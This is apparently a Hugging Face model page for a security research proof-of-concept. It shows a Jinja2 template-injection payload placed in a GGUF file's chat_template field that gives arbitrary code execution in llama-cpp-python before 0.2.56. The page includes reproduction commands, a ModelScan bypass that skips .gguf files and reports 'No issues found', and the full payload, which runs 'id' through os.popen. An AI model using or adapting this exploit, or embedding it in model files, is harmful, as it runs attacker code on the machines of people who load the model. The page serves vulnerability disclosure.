Downloads · 30 days
8
6% of all-time downloads
hoanghai2110/gguf-jinja2-ssti-poc
gguf-jinja2-ssti-poc is a machine learning model from hoanghai2110. Use it for the machine learning task on the model card, and read the license before you ship it in a product. The card lists the license as mit.
This is a security research proof-of-concept demonstrating a vulnerability in llama-cpp-python < 0.2.56 combined with ModelScan ≤ 0.8.8.
Downloads · 30 days
8
6% of all-time downloads
All-time downloads
136
Public
Repo size
—
Likes
0
Public
Click a slice to open those files.
.md2 KB · 43%
From the Hugging Face model README
This is a security research proof-of-concept demonstrating a vulnerability in llama-cpp-python < 0.2.56 combined with ModelScan ≤ 0.8.8.
A GGUF model file can embed a Jinja2 SSTI (Server-Side Template Injection) payload inside the tokenizer.chat_template metadata field.
.gguf files are completely skipped (SCAN_NOT_SUPPORTED). CLI prints "No issues found! 🎉" — a false negative.Llama.__init__() and rendered with an unsandboxed jinja2.Environment → arbitrary code execution at first inference call.pip install modelscan==0.8.8
# Step 1: ModelScan bypass
modelscan -p malicious_ace.gguf
# → "No issues found! 🎉" (file was NEVER scanned)
# Step 2: ACE trigger (requires llama-cpp-python < 0.2.56)
pip install "llama-cpp-python==0.2.55"
python3 -c "
from llama_cpp import Llama
model = Llama('malicious_ace.gguf', n_ctx=512, verbose=False)
model.create_chat_completion(messages=[{'role':'user','content':'hello'}])
# uid=1000(user)... printed to stdout
"
The SSTI payload is stored in the GGUF tokenizer.chat_template field:
{%- set payload -%}
{%- for c in ().__class__.__base__.__subclasses__() -%}
{%- if c.__name__ == 'catch_warnings' -%}
{{- c()._module.__builtins__['__import__']('os').popen('id').read() -}}
{%- endif -%}
{%- endfor -%}
{%- endset -%}
{{ payload }}
561e8806, 2024-05-10)